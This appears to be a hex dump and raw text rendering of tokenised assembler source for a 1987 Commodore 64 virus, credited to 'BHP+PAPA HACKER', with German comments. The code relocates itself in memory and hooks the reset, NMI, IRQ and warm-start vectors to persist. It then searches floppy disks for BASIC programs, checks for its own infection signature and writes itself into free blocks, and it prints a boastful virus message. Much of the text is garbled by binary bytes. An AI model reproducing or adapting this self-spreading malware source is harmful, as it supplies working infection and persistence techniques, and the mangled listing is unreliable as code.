00004180: 8C 49 DF 84 4A 53 52 20  4D 41 4B 45 00 AE 49 E4  |.I..JSR MAKE..I.|
00004190: 84 53 54 58 20 24 44 30  31 36 20 20 20 3B B0 47  |.STX $D016   ;.G|
000041A0: 49 4E 41 4C A4 4E 20 22  52 45 53 45 54 22 00 BB  |INAL.N "RESET"..|
000041B0: 49 F8 84 4A 53 52 20 4D  41 4B 45 00 C9 49 02 85  |I..JSR MAKE..I..|
000041C0: 4A 53 52 20 24 46 44 41  33 00 D6 49 16 85 4C 44  |JSR $FDA3..I..LD|
000041D0: 41 20 23 24 30 30 00 DE  49 20 85 54 41 59 00 F1  |A #$00..I .TAY..|
000041E0: 49 2A 85 9E 52 20 53 54  41 20 24 30 30 30 32 2C  |I*..R STA $0002,|
000041F0: 59 00 16 4A 34 85 53 54  41 20 24 30 32 30 30 2C  |Y..J4.STA $0200,|
00004200: 59 20 3B 50 41 47 45 20  30 2C 32 2C 33 20 4C 4F  |Y ;PAGE 0,2,3 LO|
00004210: 45 53 43 48 45 4E 00 26  4A 3E 85 53 54 41 20 24  |ESCHEN.&J>.STA $|
00004220: 30 33 30 30 2C 59 00 2E  4A 48 85 49 4E 59 00 39  |0300,Y..JH.INY.9|
00004230: 4A 52 85 42 4E 45 20 9E  52 00 48 4A 5C 85 4A 53  |JR.BNE .R.HJ\.JS|
00004240: 52 20 52 45 4C 49 4E 4B  00 55 4A 66 85 4A 53 52  |R RELINK.UJf.JSR|
00004250: 20 4D 41 4B 45 00 74 4A  70 85 4A 53 52 20 24 46  | MAKE.tJp.JSR $F|
00004260: 44 35 46 20 20 20 3B 53  50 45 49 43 48 45 52 20  |D5F   ;SPEICHER |
00004270: 49 4E 49 54 00 81 4A 7A  85 4A 53 52 20 4D 41 4B  |INIT..Jz.JSR MAK|
00004280: 45 00 9F 4A 84 85 4A 53  52 20 24 46 44 31 35 20  |E..J..JSR $FD15 |
00004290: 20 20 3B 56 45 4B A4 52  45 4E 20 49 4E 49 54 00  |  ;VEK.REN INIT.|
000042A0: AE 4A 8E 85 4A 53 52 20  52 45 49 4E 53 54 00 BB  |.J..JSR REINST..|
000042B0: 4A 98 85 4A 53 52 20 4D  41 4B 45 00 DF 4A A2 85  |J..JSR MAKE..J..|
000042C0: 4A 4D 50 20 24 46 43 46  42 20 20 20 3B 52 45 53  |JMP $FCFB   ;RES|
000042D0: 45 54 20 4E B0 4D 41 4C  20 57 45 49 54 45 52 00  |ET N.MAL WEITER.|
000042E0: FF 4A 40 9C 3B AB AB AB  56 49 52 55 53 20 4C 49  |.J@.;...VIRUS LI|
000042F0: 4E 4B 20 50 52 4F 47 52  41 4D 4D AB AB AB B1 00  |NK PROGRAMM.....|
00004300: 1A 4B 4A 9C 45 58 54 45  52 4E 20 4E 4F 50 20 3A  |.KJ.EXTERN NOP :|
00004310: 20 4E 4F 50 20 3A 20 4E  4F 50 00 40 4B 54 9C 52  | NOP : NOP.@KT.R|
00004320: 54 53 20 20 20 20 20 20  20 20 20 3B 45 58 54 45  |TS         ;EXTE|
00004330: 52 45 4E 20 42 45 46 45  48 4C 20 41 55 53 46 2E  |REN BEFEHL AUSF.|
00004340: 00 5F 4B 5E 9C 4A 53 52  20 52 4F 4D 52 41 4D 20  |._K^.JSR ROMRAM |
00004350: 20 3B 53 C0 44 41 52 54  20 4B 91 46 49 47 2E 00  | ;S.DART K.FIG..|
00004360: 6C 4B 68 9C 4A 53 52 20  4C 49 4E 4B 00 74 4B 72  |lKh.JSR LINK.tKr|
00004370: 9C 53 45 49 00 95 4B 7C  9C 49 52 4F 4D 52 41 4D  |.SEI..K|.IROMRAM|
00004380: 20 50 48 50 20 3B 52 45  47 49 53 54 45 52 20 52  | PHP ;REGISTER R|
00004390: 45 54 54 05 4E 00 A7 4B  86 9C 50 48 41 20 20 20  |ETT.N..K..PHA   |
000043A0: 20 20 20 20 20 20 3B 00  CA 4B 90 9C 4C 44 41 20  |      ;..K..LDA |
000043B0: 31 20 20 20 20 20 20 20  3B 4F 53 20 55 4E 44 20  |1       ;OS UND |
000043C0: 49 4F 20 45 49 4E AD 41  55 53 00 D4 4B 9A 9C 45  |IO EIN.AUS..K..E|
000043D0: B0 20 23 37 00 E4 4B A4  9C 49 51 55 49 54 20 53  |. #7..K..IQUIT S|
000043E0: 54 41 20 31 00 EC 4B AE  9C 50 4C 41 00 F4 4B B8  |TA 1..K..PLA..K.|
000043F0: 9C 50 4C 50 00 FC 4B C2  9C 52 54 53 00 0A 4C CC  |.PLP..K..RTS..L.|
00004400: 9C 49 93 20 20 4A 53 52  20 93 00 29 4C D6 9C 4A  |.I.  JSR ..)L..J|
00004410: 53 52 20 8A 49 54 20 20  20 20 20 20 20 20 3A 20  |SR .IT        : |
00004420: 2E 42 59 54 45 20 31 32  38 00 31 4C E0 9C 52 54  |.BYTE 128.1L..RT|
00004430: 53 00 3F 4C EA 9C 49 94  20 20 4A 53 52 20 94 00  |S.?L..I.  JSR ..|
00004440: 5E 4C F4 9C 4A 53 52 20  8A 49 54 20 20 20 20 20  |^L..JSR .IT     |
00004450: 20 20 20 3A 20 2E 42 59  54 45 20 20 36 34 00 66  |   : .BYTE  64.f|
00004460: 4C FE 9C 52 54 53 00 85  4C 08 9D 49 42 57 53 31  |L..RTS..L..IBWS1|
00004470: 20 20 4A 53 52 20 8A 49  54 20 3A 20 2E 42 59 54  |  JSR .IT : .BYT|
00004480: 45 20 20 33 32 00 99 4C  12 9D 49 42 57 53 32 20  |E  32..L..IBWS2 |
00004490: 20 4A 4D 50 20 42 57 53  31 00 B8 4C 1C 9D 49 4E  | JMP BWS1..L..IN|
000044A0: 4D 49 31 20 20 4A 53 52  20 8A 49 54 20 3A 20 2E  |MI1  JSR .IT : .|
000044B0: 42 59 54 45 20 20 31 36  00 CC 4C 26 9D 49 4E 4D  |BYTE  16..L&.INM|
000044C0: 49 32 20 20 4A 4D 50 20  4E 4D 49 31 00 D9 4C 34  |I2  JMP NMI1..L4|
000044D0: 9E 49 8A 49 54 20 50 48  50 00 E1 4C 3E 9E 50 48  |.I.IT PHP..L>.PH|
000044E0: 41 00 F6 4C 48 9E 43 48  45 43 4B 20 4C 44 41 20  |A..LH.CHECK LDA |
000044F0: 4E 4D 49 54 41 48 00 18  4D 52 9E AF 20 4E 4D 49  |NMITAH..MR.. NMI|
00004500: 54 42 48 20 20 3B 4E 4D  49 AB 54 49 4D 45 52 20  |TBH  ;NMI.TIMER |
00004510: 41 42 46 52 41 47 45 4E  00 26 4D 5C 9E 42 45 51  |ABFRAGEN.&M\.BEQ|
00004520: 20 43 48 45 43 4B 00 2E  4D 66 9E 53 45 49 00 38  | CHECK..Mf.SEI.8|
00004530: 4D 70 9E 4C 44 41 20 31  00 40 4D 7A 9E 50 48 41  |Mp.LDA 1.@Mz.PHA|
00004540: 00 4B 4D 84 9E 4C 44 41  20 23 30 00 55 4D 8E 9E  |.KM..LDA #0.UM..|
00004550: 53 54 41 20 31 00 62 4D  98 9E 4A 53 52 20 9E 54  |STA 1.bM..JSR .T|
00004560: 45 4D 00 6F 4D A2 9E 49  80 49 54 20 50 4C 41 00  |EM.oM..I.IT PLA.|
00004570: 7C 4D AC 9E 4A 4D 50 20  51 55 49 54 00 96 4D B6  ||M..JMP QUIT..M.|
00004580: 9E 49 4E 41 4D 45 20 2E  C6 20 22 2A 22 20 3B 20  |.INAME .. "*" ; |
00004590: 46 49 C3 41 4D 45 00 B5  4D 28 A0 49 52 45 53 45  |FI.AME..M(.IRESE|
000045A0: 54 20 4C 44 41 20 23 24  32 46 20 20 3A 20 53 54  |T LDA #$2F  : ST|
000045B0: 41 20 24 30 30 00 CD 4D  32 A0 4C 44 41 20 23 24  |A $00..M2.LDA #$|
000045C0: 30 30 20 20 3A 20 53 54  41 20 24 30 31 00 DC 4D  |00  : STA $01..M|
000045D0: 3C A0 4A 4D 50 20 9E 52  45 53 45 54 00 FD 4D 67  |<.JMP .RESET..Mg|
000045E0: BF 3B AB AB AB AB AB AB  AB AB AB AB AB AB AB AB  |.;..............|
000045F0: AB AB AB AB AB AB AB AB  AB AB AB AB AB 00 17 4E  |...............N|
00004600: 68 BF 8E 20 52 54 49 20  20 3B 4E 4D 49 AB 52 55  |h.. RTI  ;NMI.RU|
00004610: 45 43 4B 53 50 8A 47 00  38 4E 41 C3 52 4F 4D 52  |ECKSP.G.8NA.ROMR|
00004620: 41 4D 20 B2 20 49 52 4F  4D 52 41 4D AB 45 58 54  |AM . IROMRAM.EXT|
00004630: 45 52 4E AA 4C 49 4E 4B  00 55 4E 42 C3 8A 49 54  |ERN.LINK.UNB..IT|
00004640: 20 20 B2 20 49 8A 49 54  20 AB 45 58 54 45 52 4E  |  . I.IT .EXTERN|
00004650: AA 4C 49 4E 4B 00 72 4E  43 C3 80 49 54 20 20 B2  |.LINK.rNC..IT  .|
00004660: 20 49 80 49 54 20 AB 45  58 54 45 52 4E AA 4C 49  | I.IT .EXTERN.LI|
00004670: 4E 4B 00 93 4E 44 C3 52  45 53 45 54 20 20 B2 20  |NK..ND.RESET  . |
00004680: 49 52 45 53 45 54 20 AB  45 58 54 45 52 4E AA 4C  |IRESET .EXTERN.L|
00004690: 49 4E 4B 00 B4 4E 45 C3  42 57 53 32 20 20 20 B2  |INK..NE.BWS2   .|
000046A0: 20 49 42 57 53 32 20 20  AB 45 58 54 45 52 4E AA  | IBWS2  .EXTERN.|
000046B0: 4C 49 4E 4B 00 D5 4E 46  C3 42 57 53 31 20 20 20  |LINK..NF.BWS1   |
000046C0: B2 20 49 42 57 53 31 20  20 AB 45 58 54 45 52 4E  |. IBWS1  .EXTERN|
000046D0: AA 4C 49 4E 4B 00 F6 4E  47 C3 4E 4D 49 32 20 20  |.LINK..NG.NMI2  |
000046E0: 20 B2 20 49 4E 4D 49 32  20 20 AB 45 58 54 45 52  | . INMI2  .EXTER|
000046F0: 4E AA 4C 49 4E 4B 00 17  4F 48 C3 4E 4D 49 31 20  |N.LINK..OH.NMI1 |
00004700: 20 20 B2 20 49 4E 4D 49  31 20 20 AB 45 58 54 45  |  . INMI1  .EXTE|
00004710: 52 4E AA 4C 49 4E 4B 00  32 4F 49 C3 94 20 20 20  |RN.LINK.2OI..   |
00004720: B2 20 49 94 20 20 AB 45  58 54 45 52 4E AA 4C 49  |. I.  .EXTERN.LI|
00004730: 4E 4B 00 4D 4F 4A C3 93  20 20 20 B2 20 49 93 20  |NK.MOJ..   . I. |
00004740: 20 AB 45 58 54 45 52 4E  AA 4C 49 4E 4B 00 6E 4F  | .EXTERN.LINK.nO|
00004750: 4B C3 4E 41 4D 45 20 20  20 B2 20 49 4E 41 4D 45  |K.NAME   . INAME|
00004760: 20 20 AB 45 58 54 45 52  4E AA 4C 49 4E 4B 00 8F  |  .EXTERN.LINK..|
00004770: 4F 4C C3 51 55 49 54 20  20 20 B2 20 49 51 55 49  |OL.QUIT   . IQUI|
00004780: 54 20 20 AB 45 58 54 45  52 4E AA 4C 49 4E 4B 00  |T  .EXTERN.LINK.|
00004790: AE 4F 4D C3 52 45 53 45  54 56 20 2E 42 59 54 45  |.OM.RESETV .BYTE|
000047A0: 20 B3 52 45 53 45 54 2C  B1 52 45 53 45 54 00 C0  | .RESET,.RESET..|
000047B0: 4F 4E C3 2E 42 59 54 45  20 24 35 45 2C 24 46 45  |ON..BYTE $5E,$FE|
000047C0: 00 DE 4F 4F C3 2E 42 59  54 45 20 24 43 33 2C 24  |..OO..BYTE $C3,$|
000047D0: 43 32 2C 24 43 44 2C 24  33 38 2C 24 33 30 00 FF  |C2,$CD,$38,$30..|
000047E0: 4F 50 C3 3B AB AB AB AB  AB AB 56 49 52 55 53 AB  |OP.;......VIRUS.|
000047F0: 4D 45 4C 44 45 54 AB 53  49 43 48 AB AB B1 43 00  |MELDET.SICH...C.|
00004800: 1D 50 51 C3 43 41 4C 4C  20 4C 44 41 20 24 39 44  |.PQ.CALL LDA $9D|
00004810: 20 3B 44 49 52 45 4B 54  4D 4F 44 55 53 00 28 50  | ;DIREKTMODUS.(P|
00004820: 52 C3 42 50 4C 20 43 34  00 48 50 53 C3 4C 44 41  |R.BPL C4.HPS.LDA|
00004830: 20 24 41 32 20 20 20 20  20 20 3B 4C 4F 57 AB 42  | $A2      ;LOW.B|
00004840: 59 54 45 20 5A 45 49 54  00 53 50 54 C3 42 50 4C  |YTE ZEIT.SPT.BPL|
00004850: 20 43 34 00 60 50 55 C3  4A 53 52 20 4D 41 4B 45  | C4.`PU.JSR MAKE|
00004860: 00 7E 50 56 C3 4C 44 41  20 24 44 30 31 32 20 20  |.~PV.LDA $D012  |
00004870: 20 20 3B 52 41 53 54 45  52 5A 45 49 4C 45 00 89  |  ;RASTERZEILE..|
00004880: 50 57 C3 42 50 4C 20 43  34 00 96 50 6E C3 4C 44  |PW.BPL C4..Pn.LD|
00004890: 59 20 23 24 30 30 00 A8  50 78 C3 43 33 20 4C 44  |Y #$00..Px.C3 LD|
000048A0: 41 20 54 45 58 54 2C 59  00 B3 50 82 C3 42 45 51  |A TEXT,Y..P..BEQ|
000048B0: 20 43 31 00 C0 50 8C C3  4A 53 52 20 4D 41 4B 45  | C1..P..JSR MAKE|
000048C0: 00 E1 50 96 C3 4A 53 52  20 43 48 41 52 4F 55 54  |..P..JSR CHAROUT|
000048D0: 20 20 3B 5A 45 49 43 48  45 4E 41 55 53 47 41 42  |  ;ZEICHENAUSGAB|
000048E0: 45 00 EC 50 B4 C3 4C 44  58 20 23 30 00 FC 50 B5  |E..P..LDX #0..P.|
000048F0: C3 43 32 20 4A 53 52 20  4D 41 4B 45 00 1A 51 B6  |.C2 JSR MAKE..Q.|
00004900: C3 49 4E 43 20 24 44 30  32 30 20 20 20 20 3B 52  |.INC $D020    ;R|
00004910: 41 48 4D 45 4E 46 41 52  42 45 00 22 51 BE C3 49  |AHMENFARBE."Q..I|
00004920: 4E 58 00 2D 51 C8 C3 42  4E 45 20 43 32 00 35 51  |NX.-Q..BNE C2.5Q|
00004930: D2 C3 49 4E 59 00 40 51  DC C3 4A 4D 50 20 43 33  |..INY.@Q..JMP C3|
00004940: 00 53 51 FB C3 43 31 20  4C 44 58 20 43 4F 55 4E  |.SQ..C1 LDX COUN|
00004950: 54 45 52 00 65 51 FC C3  4C 44 41 20 43 4F 55 4E  |TER.eQ..LDA COUN|
00004960: 54 45 52 AA 31 00 72 51  FD C3 4A 53 52 20 4D 41  |TER.1.rQ..JSR MA|
00004970: 4B 45 00 94 51 FE C3 4A  53 52 20 24 42 44 43 44  |KE..Q..JSR $BDCD|
00004980: 20 20 20 20 3B 4E 55 4D  4D 45 52 20 41 55 53 47  |    ;NUMMER AUSG|
00004990: 45 42 45 4E 00 A9 51 FF  C3 4C 44 41 20 23 31 33  |EBEN..Q..LDA #13|
000049A0: 20 20 20 20 20 20 3B 43  52 00 B6 51 00 C4 4A 53  |      ;CR..Q..JS|
000049B0: 52 20 4D 41 4B 45 00 D1  51 01 C4 4A 53 52 20 43  |R MAKE..Q..JSR C|
000049C0: 48 41 52 4F 55 54 20 20  3B 41 55 53 47 45 42 45  |HAROUT  ;AUSGEBE|
000049D0: 4E 00 E4 51 02 C4 43 34  20 49 4E 43 20 43 4F 55  |N..Q..C4 INC COU|
000049E0: 4E 54 45 52 00 EF 51 03  C4 42 4E 45 20 43 36 00  |NTER..Q..BNE C6.|
000049F0: 01 52 04 C4 49 4E 43 20  43 4F 55 4E 54 45 52 AA  |.R..INC COUNTER.|
00004A00: 31 00 0C 52 05 C4 43 36  20 52 54 53 00 1E 52 18  |1..R..C6 RTS..R.|
00004A10: C4 54 45 58 54 20 2E 42  59 54 45 20 31 33 00 55  |.TEXT .BYTE 13.U|
00004A20: 52 19 C4 2E C6 20 22 44  52 2E 44 52 2E 53 54 52  |R.... "DR.DR.STR|
00004A30: 4F 42 45 26 50 41 50 41  20 48 41 43 4B 45 52 20  |OBE&PAPA HACKER |
00004A40: 57 41 53 20 48 45 52 45  21 22 20 3A 20 2E 42 59  |WAS HERE!" : .BY|
00004A50: 54 45 20 31 33 00 80 52  22 C4 2E C6 20 22 43 4F  |TE 13..R"... "CO|
00004A60: 50 52 4F 47 52 41 4D 4D  45 52 3A 20 47 41 52 46  |PROGRAMMER: GARF|
00004A70: 49 45 4C 44 22 20 3A 20  2E 42 59 54 45 20 31 33  |IELD" : .BYTE 13|
00004A80: 00 8D 52 27 C4 2E 42 59  54 45 20 31 33 00 C7 52  |..R'..BYTE 13..R|
00004A90: 28 C4 2E C6 20 22 48 41  4C 4C 4F 20 44 49 43 4B  |(... "HALLO DICK|
00004AA0: 45 52 43 48 45 4E 2C 20  44 49 45 53 20 49 53 54  |ERCHEN, DIES IST|
00004AB0: 20 45 49 4E 20 45 43 48  54 45 52 22 20 3A 20 2E  | EIN ECHTER" : .|
00004AC0: 42 59 54 45 20 31 33 00  E5 52 29 C4 2E C6 20 22  |BYTE 13..R)... "|
00004AD0: 56 49 52 55 53 21 22 20  3A 20 2E 42 59 54 45 20  |VIRUS!" : .BYTE |
00004AE0: 31 33 2C 31 33 00 03 53  2C C4 2E C6 20 22 53 45  |13,13..S,... "SE|
00004AF0: 52 49 41 4C 4E 4F 2E 3A  22 20 3A 20 2E 42 59 54  |RIALNO.:" : .BYT|
00004B00: 45 20 30 00 16 53 36 C4  43 4F 55 4E 54 45 52 20  |E 0..S6.COUNTER |
00004B10: 2E 57 B0 44 20 30 00 39  53 18 F6 AC B2 20 32 35  |.W.D 0.9S.... 25|
00004B20: 34 AC 42 4C 4F 43 4B 53  AA 53 54 41 52 54 AB 32  |4.BLOCKS.START.2|
00004B30: 20 3A 20 AC B2 20 AC AA  32 00 49 53 19 F6 2E 42  | : .. ..2.IS...B|
00004B40: 59 54 45 20 24 30 2C 24  30 00 14 00              |YTE $0,$0...    |
..N.... COPYRIGHT 1987 BY BHP+PAPA HACKE
R        VIRUS C-64   MUNICH 18.2.1987.F
....A.0.A.1:."VIRUS",8.R....9.4096.~....
OPT O1.....START    . $D000.......      
   START.....PAR     . $B7.L...MEM     .
 $58.....SETPAR  . $FFBA.....SETNAME . $
FFBD.....IEC. . $F3D5.....SEK     . $B9.
)...DEV     . $BA.:...SEK. . $FF93.N...S
EKTALK . $FF96._....    . $FFB1.S...TALK
    . $FFB4.....UN.  . $FFAE.....UNTALK 
 . $FFAB.....IEC.  . $FFA5.....IECOUT  .
 $FFA8.P...STATUS  . $90.....COUNT   . M
EM.....    . $F642.....BAM     . COUNT .
 1."...TRACK   . BAM   . 3.:...VTRACK  .
 TRACK . 1.P....E    . VTRA.K. 1.F. .PUF
FER  . .E  . 1.~.!.JOB     . PUFFER. 1..
.".DO      . JOB   . 1...#.X       . BAM
...$.Y       . BAM   . 1.X.%.Z       . B
AM   . 2...&.BASICS  . 43...'.ADR     . 
DO    . 1...(.SEC.R  . ADR   . 1./.).VSE
C    . SEC.R. 1.?.*.BLOCKS  . 8.P.+.W.K 
   . $8B.B.,.MEM1    . W.K.Y.-.MEM2    .
 W.K  . 1.....MEM3    . W.K  . 2.../.MEM
4    . W.K  . 3...0.BREAKP  . $0316.L.1.
BASICE  . 45...2..E   . $AE...3.LINKC . 
88...4..P   . $0330...5..P   . $0332. .6
.LINK    . $02A7.4.7.NMITAH  . $DD05.H.8
.NMIT.H  . $DD07.\.9.NMIP    . $0318.P.:
.ROMTEST . $FD02...;.WARMP   . $0302...<
.IRQP    . $0314...=.IRQE    . $EA31...>
.NMIE    . $EA86.Q.?..    . $FFE1...@.CH
AROUT . $FFD2......BYTE 031,008,194,007,
158.'...VIRUS .BYTE 194,040,052,051,041.
E....BYTE 170,194,040,052,052.C....BYTE 
041,172,050,053,054......BYTE 170,052,05
6,058,086......BYTE 073,082,085,083,000.
..$..BYTE 000,000.E.)..W.D BLOCKS.254...
*..BYTE $A7,$AD,$A6,$5D,$A5,$32,$A6,$8D.
..+.... . 6.....;1986 .B(43).B(44).256.4
8:.%.8.;VIRUS.I.O.;...INITIALISIERE.VIRU
S....INIT.U.P.LDY #34.N.Z.INIT3 LDA (BAS
ICS),Y.V...PHA.~...INY.....CPY #42.....B
NE INIT3...P.PHP          ;STATUS,.V.Z.S
EI          ;.ERRUPT SPERREN !.....PHA  
        ;AKKU,.....LDA 1        ;UND SPE
ICHERK.FIG..,...PHA          ;RETTEN.<..
.LDA #..IT.1.A...PHA          ;RUECKKEHR
PUNKT VOM.{...LDA #..IT.1;VIRUS.TEM.....
PHA...J.LDA #0...T.STA 1        ;AUF RAM
 UMSCHALTEN.....LDY #$03.T...INIT1 LDA W
.K,Y.....PHA.....DEY.....BPL INIT1.....L
DA BASICS   ;KOPIERE DEN VIRUS.:...STA M
EM1     ;UNTER I.O BEREICH.K.$.LDA BASIC
S.1.X...STA MEM2.H.8.LDA #.START.U.B.STA
 MEM3...L.LDA #.START...V.STA MEM4...`.L
DX #BLOCKS...J.LDY #0.D.T.INIT2 LDA (MEM
1),Y.U.~.STA (MEM3),Y.....INY.....BNE IN
IT2.....INC MEM2.....INC MEM4.....DEX...
..BNE INIT2.%.D.JMP ..I...;....VERSCHIEB
E PROGRAMM...MOVE.L.B.MOVE SEC     ;SETZ
E PROGRAMM.E...L.LDA .E    ;PO.ER...Q.LD
Y #32. .V.SBC (BASICS),Y.....STA BASICE.
....STA .E.H...LDA .E .1.P...INY.....SBC
 (BASICS),Y.....STA BASICE.1.....STA .E 
.1.....LDA #0.0.&.STA MEM1     ;VERSCHIE
BE PO.ER.L.0.LDA BASICS.1 ;BERECHNEN.Y.:
.STA MEM2.A.D.CLC.I.I.DEY.|.N.LDA (BASIC
S),Y...X.ADC BASICS...B.STA MEM3. .G.INY
...L.LDA (BASICS),Y.D.V.AD. BASICS.1.Q..
.STA MEM4.Y...SEC.....LDA MEM3.....SBC B
ASICS.....STA MEM3.....LDA MEM4.....SBC 
#0.'.F.STA MEM4.6.P.LDY BASICS.K.Z.MOVE1
 CPY BASICE.Y...BNE MOVE2.F...LDA MEM2.W
...CMP BASICE.1.....BEQ MOVE3.....MOVE2 
LDA (MEM3),Y.....STA (MEM1),Y... .INY...
*.BNE MOVE1    ;PROGRAMM AN .GINAL....4.
INC MEM2     ;ADRESSE VERSCH.EBEN...>.IN
C MEM4...H.BNE MOVE1./.R.MOVE3 LDA .E.1.
S.\.CMP #$80     ;UEBERPRUEFE LADE..N.F.
BCS MOVE4    ;.ADRESSE.Y.P.LDX #9...Z.RO
M LDA RESETV,X.....STA $8000,X.....DEX..
...BPL ROM.....MOVE4 RTS... .;....NEUSTA
RT VIRUS............... LDA $FFFA.....PH
A         ;NMI.VEK.R RETTEN.%...LDA $FFF
B   ;.7.H.PHA         ;.V.R.LDA #..;UND 
AUF RTI SETZEN.H...STA $FFFA   ;.T...LDA
 #.......STA $FFFB.....JSR MOVE    ;PROG
RAMM VERSCHIEBEN.....LDA #0.....TAY.C...
CLC.V...N1 ADC VIRUS,Y.....ROL.....ADC #
0.....INY.....CPY #27.....BNE N1......MP
 #186. ...BEQ N2.+...N3 INY.>...STA (BAS
ICS),Y.I...BNE N3.P...N2 JSR INSTALL ;VI
RUS INSTALLIEREN.....JMP .. ;RUECKKEHR I
NS .TEM...H.;.....INSTALL..............I
.E.R.INSTALL LDA NA.E.R.|.CMP #"*".....B
EQ I0.....BNE I1.....REINST JSR PO.ER...
..I0 JSR .;ZEIGER RUECKSETZEN.C...I1 JSR
 RELINK ;LINK.TEIL KOPIEREN.A...JSR PO.E
R   ;PO.ER SETZEN.....JSR MAKE      ;..E
XTERN AUSFUEHREN.....JSR ROMTEST   ;TEST
 AUF CBM80 ....B.BNE I2.B.L.LDX #3...V.J
SR ROM       ;VEK.REN SETZEN.....I2 RTS.
..0.;.....LINK.TEIL.KOPIEREN...R.&.:.REL
INK LDX #LINKC.:.D.R1 LDA EXTERN,X._.N.S
TA LINK,X  ;LINK.TEIL NACH LINK.Y.X.DEX 
        ;KOPIEREN...B.BPL R1...L.RTS....
.;.....ZEIGER.SETZEN........P.....PO.ER 
LDA .P.I...LDA .P.U...CMP #.......BEQ P1
      ;DIVERSE BETRIEBS......STA ..1  ;.
TEM ZEIGER AUF.3...LDA #..  ;VIRUS PROGR
AMM.H...STA .P   ;SETZEN.X...P1 LDA .P.1
.T.A.CMP #..  ;(.,.,NMI,IRQ,...F.BEQ P2 
     ;RESET,BASICWARMSTART,...K.STA ..2 
 ;BREAKVEK.R).A.P.LDA #...N.U.STA .P.1..
.Z.P2 LDA .P.....CMP #.......BEQ P3.....
STA ..1.....LDA #.......STA .P.&...P3 LD
A .P.1.2...CMP #...=...BEQ P4.I...STA ..
2.U...LDA #...B...STA .P.1.S...P4 LDA WA
RMP.....CMP #.BWS1... .BEQ P5...%.STA BW
S2.1...*.LDA #.BWS1.../.STA WARMP.L.4.P5
 LDA WARMP.1...9.CMP #.BWS1...>.BEQ P6..
.C.STA BWS2.2...H.LDA #.BWS1...M.STA WAR
MP.1.$.R.P6 LDA NMIP.3.W.CMP #.NMI1.>.\.
BEQ P9.M.A.ST. NMI2.1.\.F.LDA #.NMI1.I.K
.STA NMIP.{.P.P9 LDA NMIP.1...U.CMP #.NM
I1...Z.BEQ P10....STA NMI2.2.....LDA #.
NMI1.C...STA NMIP.1.V...P10 LDA #.NMI1..
...STA BREAKP.....LDA #.NMI1.....STA BRE
AKP.1.....LDA #.RESET.#...STA $FFFC.3...
LDA #.RESET.A...STA $FFFD.I.J.RTS.I.$.;.
.ZEIGER.ZURUECKSETZ.N.....W.).. LDA ..1.
....STA .P   ;DIVERSE BETRIEBS....3.LDA 
..2  ;.TEMZEIGER AUF.P.8.STA .P.1 ;.GINA
LADRESSE...=.LDA ..1  ;ZURUECKSETZEN...B
.STA .P   ;(.,.,NMI,IRQ,.&.G.LDA ..2  ;B
ASICWARMSTART).3.L.STA .P.1.B.Q.LDA BWS2
.1.P.V.STA WARMP._.[.LDA BWS2.2.O.`.STA 
WARMP.1.~.E.LDA NMI2.1...J.STA NMIP...O.
LDA NMI2.2...T.STA NMIP.1...Y.RTS.U.P.;.
.....VIRUS..OPIEREN......JUMP...Z.DOIT L
DA STATUS.....PHA          ;STATUS RETTE
N.....LDX #$05.+...JUMP12 LDA PAR,X.3...
PHA.S...DEX          ;SPEICHERSTELC.V...
BPL JUMP12   ;AUF STACK RETTEN.....LDX #
13.BLOCKS...J.JUMP13 LDA MEM,X...T.PHA..
...DEX.....BPL JUMP13.W...LDA #0       ;
FLOPPY......JSR HAC.OSH ;.....LDX #$6F  
   ;KOMM.OKANAL...$.STX SEK      ;.3...J
SR HANS     ;OEF.EN.T.8.LDA #1       ;ZU
.ZTBENUTZTES.K.B.LDX #.NAME   ;FILE.~.L.
LDY #.NAME   ;...V.JSR HAC.OSH ;...`.LDA
 #$60     ;...J.STA SEK      ;.I.T.JSR H
ANS     ;.W.~.JSR STALK.....JSR BHP     
 ;ADRL.....CMP BASICS.. ..BNE ... ..JSR 
BHP      ;A.RH./ ..CMP BASICS.1.9 ..BNE 
..X D.LDA #5       ;WENN RICHTIG.~ N.STA
 COUNT    ;LESE LINK,LINE,.KEN.. X.LOOP1
 JSR BHP.. ..DEC COUNT.. ..BNE LOOP1.. .
.TAX.W ..LDA STATUS   ;FEHLER AUF.RETEN.
. ..LSR.. ..LSR..!..BCS .      ;JA      
       ....%!(.CPX #$9E     ;..BEFEHL.J!
2.BNE JUMP1    ;NEIN, BASICPRG ....L!<.L
DA #0       ;TESTE AUF VIRUS.Z!F.STA COU
NT..!P.LOOP2 JSR BHP..!Z.LDX COUNT..!D.C
MP VIRUS,X..!N.BNE JUMP1..!X.INX.N!..STX
 COUNT.Z!..CPX #27..!..BNE LOOP2.." .. J
MP BYE  ;PRG SCH. VERSEUCHT.."..JUMP1 JS
R SUHAL.C"..LDA #"R"     ;SCHALTE AUF LE
SE..["..STA DO       ;MODUS.H"H.LDX #$6F
.T"R.STX SEK.."..LDX #$F9     ;ZU.ZT BEN
UTZTEN.."..LDY #0       ;PUFFER ERMITTC.
B"..LDA #1.P"..JSR MEM.Y.."..JSR GARFIEL
D.."..JSR STALK..#..JSR BHP      ;HOLE P
UFFER..#".PHA.##,.JSR SUHAL.+#6.PLA.N#@.
STA JOB      ;BERECHNE DIVERSE.J#J.CLC  
        ;PARAMETER.U#T.ADC #3..#^.STA AD
R      ;.IGH.BYTE PUFFER..#H.LDA JOB..#R
.ASL.O#|.ADC #6       ;TRACK&SEC.R FUER.
.#..TAX          ;JOB..#..STX PUFFER..#.
.LDY #0..$..L.A #2       ;HOLE START..=$
..JSR MEM.Y   ;TRACK & .SEC.R.N$..JSR GA
RFIELD.\$B.JSR STALK.Y$L.JSR BHP      ;S
TARTTRACK..$V.STA TRACK    ;SPEICHERN..$
..JSR BHP      ;ST.RTSEC.R.M$..STA SEC.R
   ;SPEICHERN..$..JSR SUHAL..$..LDA TRAC
K    ;DIREC.RY NICHT..%..CMP #18      ;V
ERSEUCHEN.#%..BEQ ..F%..LDX #$0E     ;PR
UEFE OB BAM IM.J%&.LDY #$00     ;FLOPPY.
RAM V.H.EN..%0.LDA #2       ;IST..%:.JSR
 MEM.Y..%D.JSR GARFIELD..%N.JSR STALK..%
X.JSR BHP.Z%B.CMP #18      ;DIREC.RY.TRA
CK..%L.BNE .      ;NEIN  ... DANN .E..&V
.JSR BHP.$&..CMP #0       ;BAM.SEC.R.F&.
.BNE .      ;NEIN  ... DANN .E.T&..JSR S
UHAL.W&..LDX #$00     ;SUCHE PLATZ FUER.
.&..JUMP3 STX X  ;VIRUS..&..TXA..&..LSR 
         ;PRUEFE UNTERSTES BIT..&F.STA C
OUNT    ;WENN BIT.0 SUCHE..&P.BCC JUMP9 
   ;NACH INNEN..'Z.LDA TRAC.    ;.ERFALL
